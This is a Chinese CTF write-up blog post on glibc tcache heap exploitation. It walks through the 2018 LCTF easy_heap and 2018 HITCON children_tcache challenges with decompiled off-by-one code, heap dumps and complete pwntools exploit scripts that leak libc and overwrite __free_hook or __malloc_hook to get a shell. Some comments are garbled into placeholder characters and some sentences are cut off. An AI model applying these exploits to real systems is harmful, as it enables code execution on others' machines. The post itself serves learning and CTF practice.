tcache机制利用总结

V1NKe / 2019-03-01 09:51:00 / 

---

## 前言：

花时间学习了一下tcache的一些东西，现在来写一写关于这个机制的两道解题过程。

## 正文：

### 2018 LCTF easy_heap：

一道关于tcache的利用题，也是之前打LCTF的第一题，现在来看一看。

试试程序发现是常规的堆题。

来看看伪代码：

漏洞主要就出在创建堆函数中，存在一个null-byte-one漏洞：

```
unsigned __int64 __fastcall sub_BEC(_BYTE *a1, int a2)
{
 unsigned int v3; // [rsp+14h] [rbp-Ch]
 unsigned __int64 v4; // [rsp+18h] [rbp-8h]

 v4 = __readfsqword(0x28u);
 v3 = 0;
 if ( a2 )
 {
   while ( 1 )
   {
     read(0, &a1[v3], 1uLL);
     if ( a2 - 1 < v3 || !a1[v3] || a1[v3] == 10 )
       break;
     ++v3;
   }
   a1[v3] = 0;
   a1[a2] = 0;                                 // null by one
 }
 else
 {
   *a1 = 0;
 }
 return __readfsqword(0x28u) ^ v4;
}
```

一般情况下，遇到null-byte-one我们都会选择用overlapping。但是这里所分配的堆块是固定0x100大小的，不能更改，所以说我们无法构造出我们想要的堆块来利用o
bin来构造攻击，首先先分配满十个堆块：

```
for i in range(10):
   create(0xf8,'A'*0xf0)
```

然后delete掉十个，七个进cache，三个进unseat bin当中，这里delete需要交错delete，方便实现之后的unlink：

```
delete(1)
delete(3)
for i in range(5,10):
   delete(i)
delete(0)
delete(2)
delete(4)
```

然后我们再分配掉七个tcache bin，分配前两个unsort bin并且其中一个用上null-byte-one漏洞，此时的堆块情况就是这样的：

```
0x55b13d397300: 0x0000000000000000  0x0000000000000101  --> ■■■■■create■unsort bin■■
0x55b13d397310: 0x0000000000000000  0x000055b13d397500
0x55b13d397320: 0x0000000000000000  0x0000000000000000
0x55b13d397330: 0x0000000000000000  0x0000000000000000
```

```
0x55b13d397340: 0x0000000000000000  0x0000000000000000
0x55b13d397350: 0x0000000000000000  0x0000000000000000
0x55b13d397360: 0x0000000000000000  0x0000000000000000
0x55b13d397370: 0x0000000000000000  0x0000000000000000
0x55b13d397380: 0x0000000000000000  0x0000000000000000
0x55b13d397390: 0x0000000000000000  0x0000000000000000
0x55b13d3973a0: 0x0000000000000000  0x0000000000000000
0x55b13d3973b0: 0x0000000000000000  0x0000000000000000
0x55b13d3973c0: 0x0000000000000000  0x0000000000000000
0x55b13d3973d0: 0x0000000000000000  0x0000000000000000
0x55b13d3973e0: 0x0000000000000000  0x0000000000000000
0x55b13d3973f0: 0x0000000000000000  0x0000000000000000
0x55b13d397400: 0x0000000000000100  0x0000000000000101
0x55b13d397410: 0x0000000000000000  0x0000000000000000
0x55b13d397420: 0x0000000000000000  0x0000000000000000
0x55b13d397430: 0x0000000000000000  0x0000000000000000
0x55b13d397440: 0x0000000000000000  0x0000000000000000
0x55b13d397450: 0x0000000000000000  0x0000000000000000
0x55b13d397460: 0x0000000000000000  0x0000000000000000
0x55b13d397470: 0x0000000000000000  0x0000000000000000
0x55b13d397480: 0x0000000000000000  0x0000000000000000
0x55b13d397490: 0x0000000000000000  0x0000000000000000
0x55b13d3974a0: 0x0000000000000000  0x0000000000000000
0x55b13d3974b0: 0x0000000000000000  0x0000000000000000
0x55b13d3974c0: 0x0000000000000000  0x0000000000000000
0x55b13d3974d0: 0x0000000000000000  0x0000000000000000
0x55b13d3974e0: 0x0000000000000000  0x0000000000000000
0x55b13d3974f0: 0x0000000000000000  0x0000000000000000
0x55b13d397500: 0x0000000000000000  0x0000000000000101  --> ■■■■■■■■■
0x55b13d397510: 0x000055b13d397300  0x000055b13d397700
0x55b13d397520: 0x0000000000000000  0x0000000000000000
0x55b13d397530: 0x0000000000000000  0x0000000000000000
0x55b13d397540: 0x0000000000000000  0x0000000000000000
0x55b13d397550: 0x0000000000000000  0x0000000000000000
0x55b13d397560: 0x0000000000000000  0x0000000000000000
0x55b13d397570: 0x0000000000000000  0x0000000000000000
0x55b13d397580: 0x0000000000000000  0x0000000000000000
0x55b13d397590: 0x0000000000000000  0x0000000000000000
0x55b13d3975a0: 0x0000000000000000  0x0000000000000000
0x55b13d3975b0: 0x0000000000000000  0x0000000000000000
0x55b13d3975c0: 0x0000000000000000  0x0000000000000000
0x55b13d3975d0: 0x0000000000000000  0x0000000000000000
0x55b13d3975e0: 0x0000000000000000  0x0000000000000000
0x55b13d3975f0: 0x0000000000000000  0x0000000000000000
0x55b13d397600: 0x0000000000000100  0x0000000000000100  --> ■■■'n-b-o'
0x55b13d397610: 0x000055b13d397400  0x0000000000000000
0x55b13d397620: 0x0000000000000000  0x0000000000000000
0x55b13d397630: 0x0000000000000000  0x0000000000000000
0x55b13d397640: 0x0000000000000000  0x0000000000000000
0x55b13d397650: 0x0000000000000000  0x0000000000000000
0x55b13d397660: 0x0000000000000000  0x0000000000000000
0x55b13d397670: 0x0000000000000000  0x0000000000000000
0x55b13d397680: 0x0000000000000000  0x0000000000000000
0x55b13d397690: 0x0000000000000000  0x0000000000000000
0x55b13d3976a0: 0x0000000000000000  0x0000000000000000
0x55b13d3976b0: 0x0000000000000000  0x0000000000000000
0x55b13d3976c0: 0x0000000000000000  0x0000000000000000
0x55b13d3976d0: 0x0000000000000000  0x0000000000000000
0x55b13d3976e0: 0x0000000000000000  0x0000000000000000
0x55b13d3976f0: 0x0000000000000000  0x0000000000000000
0x55b13d397700: 0x0000000000000000  0x0000000000000101
0x55b13d397710: 0x000055b13d397500  0x00007f384a260ca0
0x55b13d397720: 0x0000000000000000  0x0000000000000000
0x55b13d397730: 0x0000000000000000  0x0000000000000000
0x55b13d397740: 0x0000000000000000  0x0000000000000000
0x55b13d397750: 0x0000000000000000  0x0000000000000000
0x55b13d397760: 0x0000000000000000  0x0000000000000000
0x55b13d397770: 0x0000000000000000  0x0000000000000000
0x55b13d397780: 0x0000000000000000  0x0000000000000000
```

```
0x55b13d397790: 0x0000000000000000  0x0000000000000000
0x55b13d3977a0: 0x0000000000000000  0x0000000000000000
```

这里需要注意的一个点就是，当分配第一个unsort bin中的堆块时，会将unsort bin中的堆块放到tcache当中去，所以后面需要将tcache填满时只需填上6个即可。

然后再利用null-byte-one实现unlink。

```
delete(5)
```

这样我们可以泄漏出libc地址，而且有两个指针指向同一个堆块，可以free掉两次，实现tcache dup。

```
#■■libc■■■
for i in range(9) :
   p.recvuntil('> ')
data = u64(p.recv(6).ljust(8,'\x00'))

libc_base = data - 4111520
log.success('libc base is :'+hex(libc_base))
free_hook = libc_base + 4118760
one_gadget = libc_base + 0x4f322
log.success('free hook is :'+hex(free_hook))
```

因为程序开了Full RELRO，所以这里就修改__free_hook成one_gadget来getshell。

```
for i in range(7) :
   create(0xf0,'\n')
create(0xf0,'\n')
delete(0) #■■■■■■■■■■■■■
delete(8)
delete(9)
create(0xf0,p64(free_hook))
create(0xf0,p64(free_hook)) tcache■■■free_hook
create(0xf0,p64(one_gadget)) ■■■one_gadget

delete(1) #■■
```

EXP：

```
from pwn import *

p = process('./easy_heap')
libc = ELF('easy_heap')
elf = ELF('./libc64.so')
context.log_level = 'debug'

def create(size,content) :
   p.sendlineafter('> ','1')
   p.sendlineafter('> ',str(size))
   p.sendlineafter('> ',content)

def show(index) :
   p.sendlineafter('> ','3')
   p.sendlineafter('> ',str(index))

def delete(index) :
   p.sendlineafter('> ','2')
   p.sendlineafter('> ',str(index))

for i in range(10):
   create(0xf8,'A'*0xf0)
delete(1)
delete(3)
for i in range(5,10):
   delete(i)
delete(0)
delete(2)
delete(4)

for i in range(7) :
```

```
   create(0xf0,'\n')
create(0xf0,'\n')
create(0xf8,'\n')

for i in range(5) :
   delete(i)
delete(6)
delete(5)

show(8)
for i in range(9) :
   p.recvuntil('> ')    #■■■■■■■■■■■■■■■■■
data = u64(p.recv(6).ljust(8,'\x00'))

libc_base = data - 4111520
log.success('libc base is :'+hex(libc_base))
free_hook = libc_base + 4118760
one_gadget = libc_base + 0x4f322
log.success('free hook is :'+hex(free_hook))

for i in range(7) :
   create(0xf0,'\n')
create(0xf0,'\n')
delete(0)
delete(8)
delete(9)
create(0xf0,p64(free_hook))
create(0xf0,p64(free_hook))
create(0xf0,p64(one_gadget))

delete(1)

p.interactive()
```

2018 HITCON children_tcache：

这也是一道常规题，看一下伪代码可以发现也是只有一个null-byte-one漏洞：

```
unsigned __int64 create()
{
 signed int i; // [rsp+Ch] [rbp-2034h]
 char *dest; // [rsp+10h] [rbp-2030h]
 unsigned __int64 size; // [rsp+18h] [rbp-2028h]
 char s; // [rsp+20h] [rbp-2020h]
 unsigned __int64 v5; // [rsp+2038h] [rbp-8h]

 v5 = __readfsqword(0x28u);
 memset(&s, 0, 0x2010uLL);
 for ( i = 0; ; ++i )
 {
   if ( i > 9 )
   {
     puts(":(");
     return __readfsqword(0x28u) ^ v5;
   }
   if ( !qword_202060[i] )
     break;
 }
 printf("Size:");
 size = sub_B67();
 if ( size > 0x2000 )                          // size < 0x2000
   exit(-2);
 dest = malloc(size);
 if ( !dest )
   exit(-1);
 printf("Data:");
 sub_BC8(&s, size);
 strcpy(dest, &s);                             // off by one
 qword_202060[i] = dest;
```

```
 qword_2020C0[i] = size;
 return __readfsqword(0x28u) ^ v5;
}
```

这里size在范围内是由自己选择的，所以说比上面那一题简单一些，跟上面那一题的思路一样，利用unlink来解决问题，首先构造一个大于0x408的堆块来避免tcache机制，

```
create(0x500, 'a' * 0x4ff)
create(0x68, 'b' * 0x67)
create(0x5f0, 'c' * 0x5ef)
create(0x20, 'd' * 0x20) -->■■■■top chunk
```

这时候的堆块情况为：

```
-----------------
|   0x511       |
|               |
-----------------
|   0x71        |
|               |
-----------------
|   0x601       |
|               |
-----------------
```

利用null-byte-one将0x601变为0x600以此来unlink：

```
for i in range(9):
   create(0x68 - i, 'b' * (0x68 - i))
   delete(0)
create(0x68,'b'*0x60+p64(0x580))
#gdb.attach(p)
delete(2)
```

unlink后得到了一个0xb81的chunk，包括了以上三个chunk，但是其中chunk2还是有指针的，所以就能够堆块重用，使得两个指针指向chunk2，先malloc一个0x508的ch

```
create(0x508,'a'*0x507)
#gdb.attach(p)
show(0)
```

此时原本的chunk2变成了：

```
pwndbg> x/20xg 0x55747df85760
0x55747df85760: 0x0061616161616161  0x0000000000000671
0x55747df85770: 0x00007fdb58b5fca0  0x00007fdb58b5fca0
0x55747df85780: 0x0000000000000000  0x0000000000000000
```

所以在此malloc一个0x68大小的chunk2，就可以实现cache dup，之后就常规操作了，改变malloc地址为one_gadget的地址，实现getshell：

```
create(0x68,p64(malloc_addr)+0x5f*'a')
create(0x68,'a'*0x67)
create(0x68,p64(one_addr))
```

EXP：

```
from pwn import *

p = process('./program')
elf = ELF('program')
libc = ELF('libc-2.27.so')
context.log_level = 'debug'

def create(size,content):
   p.sendlineafter('Your choice: ','1')
   p.sendlineafter('Size:',str(size))
   p.sendafter('Data:',content)

def show(index) :
   p.sendlineafter('Your choice: ','2')
   p.sendlineafter('Index:',str(index))

def delete(index) :
```

```
   p.sendlineafter('Your choice: ','3')
   p.sendlineafter('Index:',str(index))

create(0x500, 'a' * 0x4ff)
create(0x68, 'b' * 0x67)
create(0x5f0, 'c' * 0x5ef)
create(0x20, 'd' * 0x20)
delete(1)
delete(0)
for i in range(9):
   create(0x68 - i, 'b' * (0x68 - i))
   delete(0)
create(0x68,'b'*0x60+p64(0x580))
#gdb.attach(p)
delete(2)
#gdb.attach(p)
create(0x508,'a'*0x507)
#gdb.attach(p)
show(0)
#gdb.attach(p)

data = u64(p.recv(6).ljust(8,'\x00'))
libc_base = data - 4111520
print 'libc_base :' + hex(libc_base)

create(0x68,'b'*0x67)
delete(0)
delete(2)

malloc_addr = libc_base + libc.symbols['__malloc_hook']
one_addr = libc_base + 0x4f322
create(0x68,p64(malloc_addr)+0x5f*'a')
create(0x68,'a'*0x67)
create(0x68,p64(one_addr))
print hex(malloc_addr)

p.sendlineafter('Your choice: ','1')
p.sendlineafter('Size:','10')

p.interactive()
```

tcache.zip (1.693 MB) 下载附件



上一篇：Data-Knowledge-Ac... 下一篇：某KCMS5.0 代码审计 (前台...

1. 0 条回复
   - 动动手指，沙发就是你的了！